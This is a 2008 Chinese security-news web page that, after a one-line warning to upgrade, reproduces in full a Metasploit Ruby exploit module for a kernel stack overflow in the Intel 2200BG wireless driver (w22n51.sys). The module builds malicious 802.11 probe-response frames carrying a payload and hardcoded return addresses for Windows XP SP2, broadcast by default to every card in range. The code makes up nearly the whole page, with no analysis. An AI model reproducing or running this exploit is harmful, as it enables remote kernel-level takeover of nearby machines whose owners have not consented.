| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 网络安全首页 | 信道安全 | 设备安全 | 协议安全 | Web安全 |
Intel无线网卡的漏洞
Intel无线网卡的漏洞—远程威胁
作者:佚名 文章来源:互联网 点击数: 更新时间:2008-4-23 9:25:37

    Intel - PRO/Wireless 2200BG Network Connection,估计很多机器都是这个型号的无线网卡,赶紧升级吧..

  http://www.milw0rm.com/exploits/5461

  ##

  # This file is part of the Metasploit Framework and may be subject to

  # redistribution and commercial restrictions. Please see the Metasploit

  # Framework web site for more information on licensing and terms of use.

  # http://metasploit.com/projects/Framework/

  ##

  require 'msf/core'

  module Msf

  class Exploits::Windows::Driver::Intel_Centrino_2200BG_driver_probe < Msf::Exploit::Remote

  include Exploit::Lorcon

  include Exploit::KernelMode

  def initialize(info = {})

  super(update_info(info,

  'Name' => 'Intel Centrino 2200BG Wireless Driver Probe Overflow',

  'Description' => %q{

  This module exploits a stack overflow in the w22n51.sys driver provided

  with the Intel 2200BG integrated wireless adapter. This stack overflow

  allows remote code execution in kernel mode. The stack overflow is triggered

  when a 802.11 Probe response frame is received that contains multi vendor specific tag

  and "\x00" as essid and essid length element. This exploit was tested with version 8.0.12.20000

  of the driver and an Intel Centrino 2200BG integrated wireless adapter. Newer

  versions of the w22n51.sys driver are provided from Intel to resolve this flaw.

  Since this vulnerability is exploited via probe response frames, all cards within

  range of the attack will be affected.

  Vulnerable clients don't need to have their card in a particular state for this exploit

  to work.

  This module depends on the Lorcon library and only works on the Linux platform

  with a supported wireless card. Please see the Ruby Lorcon documentation

  (external/ruby-lorcon/README) for more information.

  },

  'Author' =>

  [

  'oveRet \'Giuseppe Gottardi\'

  'skape' # windows kernel ninjitsu

  ],

  'License' => MSF_LICENSE,

  'Version' => '$Revision: 4529 $',

  'References' =>

  [

  ['URL', 'http://www.kb.cert.org/vuls/id/524332'],

  ['URL', 'http://www.milw0rm.org/exploits/3158'],

  ['URL', 'http://overet.securitydate.it/stuff/2200BG_8.0.12.20000_drivers.zip']

  ],

  'Privileged' => true,

  'DefaultOptions' =>

  {

  'EXITFUNC' => 'thread',

  },

  'Payload' =>

  {

  'Space' => 224

  },

  'Platform' => 'win',

  'Targets' =>

  [

  # Windows XP SP2

  # 5.1.2600 (xpsp_sp2_gdr.070227-2254)

  [ 'Windows XP SP2 (5.1.2600), w22n51.sys 8.0.12.20000',

  {

  'Ret' => 0x8054eb62,

  'Platform' => 'win',

  'Payload' =>

  {

  'ExtendedOptions' =>

  {

  'Stager' => 'sud_syscall_hook', # don't change this

  'PrependUser' => "\xeb\x02" + # required jump

  "\x85\xe0", # fixed max len

  'Recovery' => 'idlethread_restart',

  'KiIdleLoopAddress' => 0x804dbb27,

  }

  }

  }

  ]

  ],

  'DefaultTarget' => 0

  ))

  register_options(

  [

  OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),

  OptInt.new('RUNTIME', [ true, "The number of time to run the attack", 1000]),

  OptInt.new('DELAY', [ true, "The number of seconds to sleep between the packets", 1]),

  ], self.class)

  end

  def exploit

  open_wifi

  rtime = datastore['RUNTIME'].to_i

  dtime = datastore['DELAY'].to_i

  count = 0

  print_status("Sending probe exploit to #{datastore['ADDR_DST']}...")

  print "[-] "

  while (count < rtime)

  wifi.write(create_beacon)

  select(nil, nil, nil, 0.10) if (count % 100 == 0)

  count += 1

  #Exit if we get a session

  break if session_created?

  print "#"

  sleep(dtime)

  end

  print "\n"

  print_status("Completed sending probe.")

  end

  def create_beacon

  bssid = ("\x43" * 6)

  src = ("\x43" * 6)

  seq = [rand(255)].pack('n')

  fill = 0xe0 - (payload.encoded.length - 125)

  frame =

  "\x50" + # type/subtype

  "\x00" + # flags

  "\x3a\x01" + # duration

  eton(datastore['ADDR_DST']) + # dst

  src + # src

  bssid + # bssid

  seq + # seq

  rand_text(8) + # timestamp value

  "\xa0\x0f" + # beacon interval

  "\x31\x08" + # capability flags

  # ssid tag

  "\x00\x00" +

  # supported rates

  "\x01" + "\x01" + "\x82" +

  # current channel

  "\x03" + "\x01" + channel.chr +

  # fixed max len

  "\x85\x7b" +

  payload.encoded +

  # fill to reach e0 length

  ("\x41" * fill) +

  # vendor specific tag

  "\xdd" +

  "\x18" +

  "\x00\x50\xf2\x02\x01\x01\x89\x00\x03\xa5\x00\x00\x27\xa5\x00\x00" +

  "\x42\x54\xbc\x00\x62\x43\x66\x00" +

  # vendor specific tag

  "\xdd" +

  "\x10" +

  "\x00\x50\xf2\x05\x00\x01\x00\x04\x00\x00\x83\x07" +

  # RET address

  [target['Ret']].pack('V')

  return frame

  end

  end

文章录入:小张    责任编辑:小张 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    Foxmail fmrsslink.dll
    php源代码泄露漏洞发掘
    PHP 内存管理器溢出漏洞
    PunBB口令安全限制漏洞
    RealPlay10.5溢出漏洞补
    最新SMSJ Version 8.0漏
    sablog 1.6 多个跨站漏洞
    通过防火墙堵住VPN安全漏
    学会检查SQL注入式攻击漏
    无线网卡无法获得IP地址
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有